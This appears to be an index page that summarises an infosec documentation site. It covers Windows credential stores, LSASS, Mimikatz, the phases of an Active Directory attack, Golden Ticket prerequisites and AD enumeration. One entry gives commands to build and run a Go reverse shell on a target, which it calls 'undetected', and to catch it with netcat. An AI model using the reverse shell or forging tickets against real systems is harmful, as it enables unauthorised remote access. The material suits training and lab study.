DOCSEARCHbyAlgolia
Submit Docs

Infosec Docs

website·Indexed 30 days ago

https://infosec-docs.pages.dev/

A collection of information security documentation and walkthroughs covering red teaming, vulnerability research, and TryHackMe machine enumerations. Includes guides on NMAP, FFUF, BurpSuite, Metasploit, and Hydra, as well as detailed explanations of web vulnerabilities such as XSS, XXE, SSRF, IDOR, and remote code execution (RCE) via file upload filtering.

Tokens
66.9K
Snippets
533
Records
626
Agent score
74%

What's inside Infosec Docs

  1. Overview of Windows Local vs Domain Accounts

    Windows Operating System utilizes two types of user accounts: Local and Domain. Local user details are stored within the local Windows File System (specifically the SAM database), whereas Domain user details are stored in a centralized Active Directory.

  2. Overview of Local Security Authority Server Service (LSASS)

    The Local Security Authority Server Service (LSASS) is a Windows process responsible for managing and enforcing the Operating System Security Policy. It verifies logged-in accounts and manages passwords, hashes, and Kerberos tickets. LSASS stores credentials in memory to allow users to access network resources (like File Shares and SharePoint) without repeated authentication.

  3. Overview of Windows Credential Manager storage

    Credential Manager is a Windows feature that stores logon-sensitive information for websites, applications, and networks. Data is stored in the user's folder and is not shared among accounts, though it is cached in memory. It categorizes credentials into four types:

    • Web Credentials: Authentication details from browsers or applications.
    • Windows Credentials: Windows authentication details (e.g., NTLM or Kerberos).
    • Generic Credentials: Basic authentication details, such as clear-text usernames and passwords.
    • Certificate-Based Credentials: Authentication details based on certifications.

  4. Overview of Mimikatz and Kakeo for Kerberos and Credential attacks

    Additional tools for Active Directory attacks:

    • Mimikatz: Used to extract plain-text passwords, hashes, PIN codes, and Kerberos tickets from memory. Supports Pass-The-Hash, Pass-The-Ticket, and Golden Ticket creation.
    • Kakeo: A toolbox specifically for manipulating Microsoft Kerberos.

  5. Overview of TryHackMe Linux and Windows Machine guides

    The documentation provides guides for TryHackMe machines, categorized by operating system and exploitation approach:

    • Linux Machines: Focus primarily on manual exploitation methods.
    • Windows Machines: Cover a mix of both automated and manual exploitation methods.

  6. Overview of Active Directory Attack Lifecycle

    The Active Directory attack lifecycle consists of several phases to move from initial entry to full domain compromise:

    1. Breaching (Initial Access): Focuses on authentication methods (LDAP, MDT, NTLM) and locating exposed credentials in configuration files.
    2. Enumeration: Using authenticated credentials to map the AD setup and structure via Command Line and PowerShell techniques.
    3. Lateral Movement: Moving through the network while minimizing alerts. Key techniques include Kerberos/NetNTLM circumvention, remote process spawning, RDP hijacking, port forwarding (using Socat, Chisel, or SSH), and MSI package installation via WMI.
    4. Exploiting: Leveraging misconfigurations for privilege escalation and further movement. Focus areas include Permission Delegation, Kerberos Delegation, Automated Relays, Group Policy Objects (GPOs), Certificates, and Domain Trusts.
    5. Persistence: Maintaining access using methods such as DCSync-ing, Silver and Golden Tickets, AD Certificates, Security Identifiers (SIDs), Access Control Lists (ACLs), and GPOs.
    6. Credentials Harvesting: Utilizing obtained credentials to access resources and facilitate further lateral movement.

  7. Overview of Privileged Active Directory Administrator Accounts

    Understanding the roles of built-in administrative accounts is critical for targeting or securing a domain:

    • BUILTIN\Administrator: Local Admin access on a Domain Controller.
    • Domain Admins: Administrative access to all resources in the domain.
    • Enterprise Admins: Highest level access, available only in the Forest Root.
    • Schema Admins: Capable of modifying the Domain/Forest schema.
    • Server Operators: Can manage domain servers.
    • Account Operators: Can manage users not in privileged groups.

  8. Overview of the Overpass Pentesting Series

    The Overpass Series is a dedicated pentesting sequence that covers the full attack lifecycle, specifically focusing on Enumeration, Exploitation, and File Analysis.

  9. Build and use a Go-based reverse shell

    Compile a cross-platform reverse shell in Go for Windows (386 architecture). This method is noted as being mostly stable and undetected.
    # Build for Windows 32-bit
env GOOS=windows GOARCH=386 go build GoRevShell.go

# Usage on target
GoRevShell.exe -i <IP> -p <PORT>

# Catching the shell on attacker machine
rlwrap nc -nvlp <PORT>

  10. Understand Golden Ticket attacks using KRBTGT

    A Golden Ticket attack involves forging a Ticket Granting Ticket (TGT) to bypass the Kerberos Distribution Center (KDC) and grant the attacker access to any resource in the domain. This requires the KRBTGT account's password hash, which is shared across all Domain Controllers and used to encrypt and sign all Kerberos tickets. To forge a TGT, the following information is required: the Fully Qualified Domain Name (FQDN), the domain's Security Identifier (SID), the username of the account to impersonate, and the KRBTGT password hash.

  11. Identify server software and languages from HTTP headers

    HTTP response headers often leak information about the web server software and the programming or scripting languages being used via fields like Server and X-Powered-By.
    HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: PHP/7.4.3

  12. Enumerate Active Directory users with Get-ADUser

    Use the Get-ADUser cmdlet to retrieve information about Active Directory users. You can specify a specific user via the -Identity parameter or use the -Filter parameter to find users based on patterns (e.g., using -like). The -Properties * flag ensures all associated account information is returned.
    # Get all properties for a specific user on a specific domain controller
Get-ADUser -Identity delilah.gomez -Server za.adobe.com -Properties *

# Filter users by name and display specific columns
Get-ADUser -Filter 'Name -like "*delilah"' -Server za.adobe.com | Format-Table Name,SamAccountName -A